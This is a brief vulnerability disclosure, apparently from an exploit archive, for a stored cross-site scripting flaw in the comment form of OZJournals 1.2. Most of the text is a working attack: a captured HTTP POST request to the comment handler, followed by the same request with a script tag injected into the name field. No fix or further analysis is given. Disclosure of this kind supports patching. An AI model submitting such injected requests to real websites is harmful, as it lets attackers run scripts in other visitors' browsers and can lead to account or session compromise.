ozjournals.txt

`# OZJournals 1.2 <= Cross Site Scripting Vulnerability   
#  
# Risk: Less critical  
# Class: Remote  
# Script: OZJournals 1.2  
# Version: 1.2  
  
----------------------------------------------------------------------------------------------  
Post Request:  
  
http://localhost/ozjournals/ozjournals/index.php?show=comments&action=post  
POST /ozjournals/ozjournals/index.php?show=comments&action=post HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Connection: keep-alive  
Referer: http://localhost/ozjournals/ozjournals/index.php?show=comments&action=add  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 122  
vname=test&vemail=mail%40mail.it&vlocation=test&vcomment=test  
  
ou can insert in the name an XSS code or you can modify the request in this way:  
  
vname=<SCRIPT>alert("lol");</SCRIPT>&vemail=mail%40mail.it&vlocation=test&vcomment=test  
  
----------------------------------------------------------------------------------------------  
Credit  
  
Author: Kiki  
Site: http://kiki91.altervista.org  
IRC Channel: irc.azzurra.org 6667 #system  
  
  
`